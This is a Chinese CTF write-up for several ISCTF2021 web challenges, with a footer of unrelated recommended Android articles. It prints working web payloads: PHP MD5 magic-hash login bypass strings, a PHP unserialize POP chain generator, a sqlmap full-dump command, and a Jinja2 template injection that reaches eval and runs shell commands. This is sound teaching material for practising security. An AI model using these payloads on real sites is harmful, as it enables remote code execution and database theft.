ISCTF2021

Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/

view-source:的意思是查看源代码

即可查看源码Ctrl+U也可以,题目只是限制了F12

粗心的小蓝鲨

登录界面随便输入就会得到hint

复制代码
<?php
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $name=$_POST["username"]; 
        $pwd=$_POST["password"];
        $logined = true;
        $flag = 'XXXX';
        include("flag.php");
//检查是否通过 POST 方法提交了 username 和 password
        if (!ctype_alpha($name)) {$logined = false;}
//username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败
        if (!is_numeric($pwd) ) {$logined = false;}
//password 必须是一个 数字 或 数字字符串
        if (md5($name) != md5($pwd)) {$logined = false;}
//弱比较账号和密码的MD5值
        if ($logined){
            echo "<h1>"."login successful"."<p>".$flag;
        }else{
            echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
            highlight_file(__FILE__);
        }
    }
?>

我们可以找两个个MD5值都是0e开头的字符串和数字字符串

复制代码
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

即可获取flag

pop_unserialize

复制代码
<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容
error_reporting(0);
class MF_is_cat{
    private $pop = "f00001111";
    public $MF = "miao~ miao~ miao~";
    function __construct(){
        $this->pop =new ISCTF();
    }

    function __destruct(){
        $this->pop->action();
    }
}

class ISCTF{
    function action(){
        echo "Welcome to ISCTF World!";
    }
}

class Show{
    var $test2;
    function action(){
       echo file_get_contents('f'.$this->test2.'g.php');
    }
}


if(isset($_POST['ISCTF'])){
    unserialize($_POST['ISCTF']);
    }else{
    $obj = new MF_is_cat();
    highlight_file(__FILE__);
    }
?>  Welcome to ISCTF World!

<?php
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
//控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象
控制 Show 类的 $test2 属性,将其赋值为字符串 "la"
反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct()
进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql

存在报错注入

直接

复制代码
D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all

就可以了,就是有点慢

小蜘蛛

提示存在robots.txt

easy flask

看到提示直接查看全局

复制代码
/?id={% for c in ().__class__.__mro__[1].__su
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

当然也可以直接找

拼图

拼好就给flag

相关推荐
千里马学框架3 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台3 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone3 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc3 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo3 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077003 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼3 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone3 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen3 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone3 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui